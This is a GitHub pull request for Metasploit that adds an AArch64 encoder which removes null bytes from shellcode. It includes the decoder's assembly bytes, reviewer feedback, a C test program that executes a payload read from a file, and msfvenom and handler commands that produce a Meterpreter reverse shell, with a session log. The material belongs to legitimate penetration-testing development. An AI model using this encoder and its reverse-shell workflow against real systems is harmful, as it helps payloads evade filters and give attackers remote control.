Skip to content

Add nonnull encoder aarch64 #19708

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

A5t4t1ne
Copy link

@A5t4t1ne A5t4t1ne commented Dec 9, 2024

This encoder is capable of encoding AArch64 shell code into output that is guaranteed to contain no NULL bytes. While the encoded part of the shell code consists entirely of uppercase English characters, the decoder logic includes some non-printable characters (but no NULL bytes).

The decoding is in-place, so as long as the stack space where the payload is placed on the target machine is writable and executable, the decoding and execution of the shell code should work fine.

Verification

The following is an example of how to achieve a meterpreter session without a specific exploit. The vulnerable application in this example reads a string from a file (here a file called payload) and executes it as if it were machine instructions. The source code is shown below and was compiled with gcc -o vuln_app vuln_app.c.

On the attacker machine:

  1. msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e aarch64/nonnull -o payload
  2. move payload to target machine
  3. Start msfconsole
  4. use exploit/multi/handler
  5. set LHOST 0.0.0.0
  6. set LPORT 4444
  7. set payload linux/aarch64/meterpreter/reverse_tcp
  8. set ExitOnSession false
  9. exploit -j

On the target AArch64 machine (for source code of example vulnerable app see below):
10. execute ./vuln_app

Options

none

Scenario

msf6 exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (953388 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.8:46392) at 2024-12-07 13:43:44 +0100

Of course everything after Started reverse TCP handler will show up after the payload was executed on the target system.

Limitation

Currently the maximum payload size is 4126 Bytes

Example vulnerable application

vuln_app.c:

#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

char *PAYLOAD = "";


int read_payload(char* fname){
    FILE *file = fopen(fname, "r");

    if (file == NULL) {
        perror("Error opening file");
        return 1;
    }

    long size;
    
    fseek(file, 0, SEEK_END);
    size = ftell(file) + 1;
    fseek(file, 0, SEEK_SET);

    PAYLOAD = malloc(sizeof(char) * (size + 2));
    
    
    if (fgets(PAYLOAD, size, file) != NULL) {
        printf("payload:\n%s\n", PAYLOAD);
        printf("length: %d\n", strlen(PAYLOAD));
        fflush(stdin);
    }

    PAYLOAD = (unsigned char*) PAYLOAD;

    fclose(file);

}


int main(int argc, char *argv[]) {
    read_payload("payload");

    mprotect((void*)((intptr_t)PAYLOAD & ~0xFFF), strlen(PAYLOAD), PROT_READ|PROT_WRITE|PROT_EXEC);
    int (*exeshell)() = (int (*)()) PAYLOAD;
    (int)(*exeshell)();

    return 0;
}
  • compiled with gcc -o vuln_app vuln_app.c on target machine. GCC version: 12.2.0
  • execute with ./vuln_app

def encode_block(state, buf)
enc_pl = '_' * buf.length * 2 # encoding nibbles to chars -> length will be doubled

for i in 0...buf.length do
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's more "ruby like" to use something like each_with_index do |i, c| instead of using a classic for loop

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok, I fixed that.

@dledda-r7 dledda-r7 self-assigned this Jan 3, 2025
Comment on lines +45 to +66
return 'jiL0' + # adr x10, 0x98D2D - calc addr of encoded shellcode
"JaB\xf1" + # subs x10, x10, #0x98, lsl #12
"\x4a\x95\x34\xf1" + # subs x10, x10, #0xd25
"\x4b\x01\x1f\xca" + # eor x11, x10, xzr - start of encoded shellcode becomes start of decoded instructions
'sBSj' + # ands w19, w19, w19, lsr #16 - clear w19
'sBSj' + # ands w19, w19, w19, lsr #16
'b2Sj' + # ands w2, w19, w19, lsr #12 - clear w2
while_condition + # loop: tbnz w2, #<bit>, #0x40 - branch to code after n-iterations
'RQA9' + # ldrb w18, [x10, #84] - load first byte
'YUA9' + # ldrb w25, [x10, #85] - load second byte
"Jm0\xb1" + # adds x10, x10, #0xc1b - encoded_buf_index += 2
"Je0\xf1" + # subs x10, x10, #0xc19
"\x52\x02\x04\x11" + # add w18, w18, #0x100 - sub 0x41 (upper nibble)
"\x52\x06\x05\x51" + # sub w18, w18, #0x141
"\x39\x03\x04\x11" + # add w25, w25, #0x100 - sub 0x41 (lower nibble)
"\x39\x07\x05\x51" + # sub w25, w25, #0x141
"\x39\x13\x12\x2a" + # orr w25, w25, w18, lsl #4 - assemble the nibbles to the original byte
"\x79\x51\x01\x39" + # strb w25, [x11, #84] - store original byte
"ki0\xb1" + # adds x11, x11, #0xc1a - x11++ decoded payload index
"ke0\xf1" + # subs x11, x11, #0xc19
'Bh01' + # adds w2, w2, #0xc1a - w2++ (loop counter)
'Bd0q' + # subs w2, w2, #0xc19
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I trimmed some of the instructions and reduced the decoder to less bytes:

Suggested change
return 'jiL0' + # adr x10, 0x98D2D - calc addr of encoded shellcode
"JaB\xf1" + # subs x10, x10, #0x98, lsl #12
"\x4a\x95\x34\xf1" + # subs x10, x10, #0xd25
"\x4b\x01\x1f\xca" + # eor x11, x10, xzr - start of encoded shellcode becomes start of decoded instructions
'sBSj' + # ands w19, w19, w19, lsr #16 - clear w19
'sBSj' + # ands w19, w19, w19, lsr #16
'b2Sj' + # ands w2, w19, w19, lsr #12 - clear w2
while_condition + # loop: tbnz w2, #<bit>, #0x40 - branch to code after n-iterations
'RQA9' + # ldrb w18, [x10, #84] - load first byte
'YUA9' + # ldrb w25, [x10, #85] - load second byte
"Jm0\xb1" + # adds x10, x10, #0xc1b - encoded_buf_index += 2
"Je0\xf1" + # subs x10, x10, #0xc19
"\x52\x02\x04\x11" + # add w18, w18, #0x100 - sub 0x41 (upper nibble)
"\x52\x06\x05\x51" + # sub w18, w18, #0x141
"\x39\x03\x04\x11" + # add w25, w25, #0x100 - sub 0x41 (lower nibble)
"\x39\x07\x05\x51" + # sub w25, w25, #0x141
"\x39\x13\x12\x2a" + # orr w25, w25, w18, lsl #4 - assemble the nibbles to the original byte
"\x79\x51\x01\x39" + # strb w25, [x11, #84] - store original byte
"ki0\xb1" + # adds x11, x11, #0xc1a - x11++ decoded payload index
"ke0\xf1" + # subs x11, x11, #0xc19
'Bh01' + # adds w2, w2, #0xc1a - w2++ (loop counter)
'Bd0q' + # subs w2, w2, #0xc19
return "\x2a\xf8\xff\x70" + # adr x10, -0xf9 - calc addr of encoded shellcode
"\x4b\x01\x1f\xca" + # eor x11, x10, xzr - start of encoded shellcode becomes start of decoded instructions
"\x6b\xe5\x03\xb1" + # subs x11, x11, -0xf9
"\x73\x02\x13\x4a" + # ands w19, w19, w19, lsr #16 - clear w19
'b2Sj' + # ands w2, w19, w19, lsr #12 - clear w2
while_condition + # loop: tbnz w2, #<bit>, #0x40 - branch to code after n-iterations
"\x52\x15\x45\x39" + # ldrb w18, [x10, #0x145] - load first byte
"\x59\x19\x45\x39" + # ldrb w25, [x10, #0x146] - load second byte
"Jm0\xb1" + # adds x10, x10, #0xc1b - encoded_buf_index += 2
"Je0\xf1" + # subs x10, x10, #0xc19
"\x52\x06\x01\x71" + # add w18, w18, -0x41 - sub 0x41 (upper nibble)
"\x39\x07\x01\x71" + # add w25, w25, -0x41 - sub 0x41 (lower nibble)
"\x39\x13\x12\x2a" + # orr w25, w25, w18, lsl #4 - assemble the nibbles to the original byte
"\x79\x31\x01\x39" + # strb w25, [x11, #0x4c] - store original byte
"ki0\xb1" + # adds x11, x11, #0xc1a - x11++ decoded payload index
"ke0\xf1" + # subs x11, x11, #0xc19
'Bh01' + # adds w2, w2, #0xc1a - w2++ (loop counter)
'Bd0q' + # subs w2, w2, #0xc19

However, there's need to adjust offsets now, but that leads me to additional issue and that is portability. In the current state, only limited payload size is supported which is not so great for decoder. Approach would be to prepend payload size to the payload itself, encode that and in the decoder, add a few instructions to decode length and load it. Then you can use it as variable for length check. That should be more portable. Additionally, it seems like you're focusing on using ASCII characters, which is fine, but if your goal is to avoid null characters, you can omit that condition.

@msutovsky-r7 msutovsky-r7 moved this from Todo to Waiting on Contributor in Metasploit Kanban Mar 18, 2025
@dledda-r7 dledda-r7 removed their assignment Mar 25, 2025
@msutovsky-r7 msutovsky-r7 self-assigned this May 2, 2025
@msutovsky-r7
Copy link
Contributor

Hi @A5t4t1ne, just checking in, if you would need any assistance with implementing requested changes, let me know. I think it's a good idea worth implementing, so we would definitely loved to have it as encoder.

@A5t4t1ne
Copy link
Author

A5t4t1ne commented May 2, 2025

Hi @msutovsky-r7, first of all thanks for the reply and sorry for not answering!
I am definitely interested in continuing this project to make it usable in the framework. However, it was a school project from last semester and I am currently working on my bachelor thesis, so I am quite busy at the moment until the summer, sorry. But I will have a look at it again then! Also thanks for the offer of help!
On the other hand, anyone is welcome to make a pull request to my repository. Or make a copy and modify it, since the licence is MIT anyway.
Would be nice to get a little credit in that case though :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Status: Waiting on Contributor
Development

Successfully merging this pull request may close these issues.

5 participants